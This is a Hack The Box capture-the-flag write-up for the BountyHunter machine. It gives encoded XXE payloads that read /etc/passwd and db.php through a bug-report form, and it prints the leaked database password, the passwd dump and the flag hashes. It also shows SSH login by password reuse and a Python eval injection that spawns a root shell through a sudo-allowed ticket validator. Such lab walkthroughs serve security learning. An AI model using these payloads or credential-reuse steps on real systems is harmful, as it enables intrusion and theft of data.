Hack The Box BountyHunter Writeup (Easy Linux)
Easy Linux box. The bug report form posts base64 encoded XML, so XXE reads db.php, and that database password is reused for the development user over SSH.
Summary
BountyHunter is an easy Linux machine whose /resources/README.txt leaves a developer todo list admitting the portal still has a test account with no password. The bug tracker at log_submit.php sends its report as XML that has been base64 encoded and then URL encoded, and rebuilding that payload with CyberChef around a DOCTYPE and an external entity turns it into XXE. Reading /etc/passwd confirms the file read and names the user development, and pulling db.php through the php://filter base64 wrapper gives the database credentials. That password is reused for the development account over SSH, which is the foothold, and the note closes on the sudo entry allowing that user to run /opt/skytrain_inc/ticketValidator.py as root with python3.8.
- export IP=10.10.11.100
- My HTB IP: 10.10.14.9
22/tcp on 10.10.11.100 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 80/tcp on 10.10.11.100 Apache httpd 2.4.41
http[:]//10.10.11.100/resources/README.txt Tasks:
[ ] Disable ‘test’ account on portal and switch to hashed password. Disable nopass. [X] Write tracker submit script [ ] Connect tracker submit script to the database [X] Fix developer group permissions
- OSVDB-3093: /db.php: This might be interesting… has been seen in web logs from an unknown scanner.
Something maybe interesting and vulnerable to some type of injection (sql) http[:]//10.10.11.100/log_submit.php [ Maybe something interesting ]
Request original [ URL Encode + Base64 ] PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT4xMjM8L3RpdGxlPgoJCTxjd2U%2BMTIzPC9jd2U%2BCgkJPGN2c3M%2BMTIzPC9jdnNzPgoJCTxyZXdhcmQ%2BMTIzPC9yZXdhcmQ%2BCgkJPC9idWdyZXBvcnQ%2B
Decoded
1
2
3
4
5
6
<bugreport>
<title>123</title>
<cwe>123</cwe>
<cvss>123</cvss>
<reward>123</reward>
</bugreport>
- Need to encode to base64 + URL (all special chars) [ Cyberchef ]
Testing
1
2
3
4
5
6
7
]>
<bugreport>
<title>&xxe;</title>
<cwe>123</cwe>
<cvss>123</cvss>
<reward>123</reward>
</bugreport>
/etc/passwd retrieve
1
PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KPCFET0NUWVBFIHJvb3QgWzwhRU5USVRZIHRlc3QgU1lTVEVNICdmaWxlOi8vL2V0Yy9wYXNzd2QnPl0%2BCgkJPGJ1Z3JlcG9ydD4KCQk8dGl0bGU%2BJnRlc3Q7PC90aXRsZT4KCQk8Y3dlPjEyMzwvY3dlPgoJCTxjdnNzPjEyMzwvY3Zzcz4KCQk8cmV3YXJkPjEyMzwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg%3D%3D
/db.php retrieve
1
PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KPCFET0NUWVBFIHJlcGxhY2UgWzwhRU5USVRZIHh4ZSBTWVNURU0gInBocDovL2ZpbHRlci9jb252ZXJ0LmJhc2U2NC1lbmNvZGUvcmVzb3VyY2U9ZGIucGhwIj4gXT4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT4meHhlOzwvdGl0bGU%2BCgkJPGN3ZT4xMjM8L2N3ZT4KCQk8Y3Zzcz4xMjM8L2N2c3M%2BCgkJPHJld2FyZD4xMjM8L3Jld2FyZD4KCQk8L2J1Z3JlcG9ydD4%3D
Implement login system with the database. $dbserver = “localhost”; $dbname = “bounty”; $dbusername = “admin”; $dbpassword = “m19RoAU0hP41A1sTsq6K”; $testuser = “test”; ?> > /etc/passwd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
Logged in as development via SSH [ Password reuse – database ] ssh development@IP m19RoAU0hP41A1sTsq6K
FLAG AREA
1
2
a02a6ec4b7d30dbe121ebe90532e4bf3 [ User.txt ]
e598b09bdf9f5a62063178944c54f9cc [ Root.txt ]
sudo -l User development may run the following commands on bountyhunter: (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
sudo python -c ‘import os; os.system(“/bin/sh”)’
102 % 7 == 4
/home/development/ticket.md
Ticket [ Privilege escalation ]
Skytrain Inc
Ticket to New Haven
Ticket Code: **102+ 10 == 112 and import(‘os’).system(‘/bin/bash’) == False